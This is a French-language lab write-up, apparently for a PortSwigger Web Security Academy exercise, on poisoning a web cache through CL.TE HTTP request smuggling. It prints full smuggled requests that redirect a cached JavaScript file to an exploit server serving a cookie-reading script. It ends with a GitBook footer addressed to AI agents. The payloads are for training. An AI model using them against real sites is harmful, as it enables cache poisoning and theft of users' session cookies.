> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Empoisonnement du cache Web via HTTP request smuggling

### Exploiter le HTTP Request Smuggling pour réaliser un empoisonnement du cache Web

Le front-end et le back-end traitent les requêtes HTTP différemment. / Le front-end **ne prend pas en charge le codage chunked** et certaines réponses sont **mises en cache**.

L'objectif est de mener une attaque de **smuggling de requêtes** permettant d'empoisonner le cache\*\* : lors d'une requête ultérieure vers un fichier JavaScript, la victime doit être redirigée vers le serveur d'exploitation, qui renverra un script affichant `document.cookie`.

Le laboratoire simule automatiquement un utilisateur victime : à chaque fois que nous envoyons les quelques requêtes POST, la victime effectue sa propre requête.

#### Charge utile sur le serveur

Nous préparons la réponse JavaScript malveillante :

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/9210f4212958ac8c21fc90312759b5c03d79a55a" alt=""><figcaption></figcaption></figure>

#### Informations sur le fichier tracking.js

La ressource est observée comme étant cachée pendant 30 secondes\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/468b44ce288a74cf2f0c00cddf1623960d6490fb" alt=""><figcaption></figcaption></figure>

#### Analyse du comportement du bouton Post-next

* Le `postId` le paramètre reste identique.
* En cliquant, l'application effectue une redirection vers l'article suivant.

Exemple d'une requête qui déclenche cette redirection :

<figure><img src="/files/6f58f2b3afdeb2a7e46375db229d6ea93bc4529e" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Test: A
```

<figure><img src="/files/d5ab792ba01dc16eacf1c3f8145b7eacafd435f5" alt=""><figcaption></figcaption></figure>

#### Test : injection d'un en-tête Host arbitraire

En remplaçant l'hôte de la requête interne :

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/09c8c0cfc8400edef9a306cec9ebbbef068ec8bf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a4815b84842fdd9558d6087a963b497f651cb054" alt=""><figcaption></figcaption></figure>

#### Charge utile finale pour rediriger vers notre serveur d'exploitation

Une requête GET interne contenant notre valeur contrôlée **Host** est injectée :

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Dès que la victime charge la ressource JavaScript mise en cache, le cache renverra **pendant 30 secondes** notre réponse modifiée, déclenchant :

```javascript
alert(document.cookie)
```

<figure><img src="/files/fc8c416bd16e51bad788228711738492b7ab9eb6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bf22b4123ab7aa721e96100f7a694e6b3a657309" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.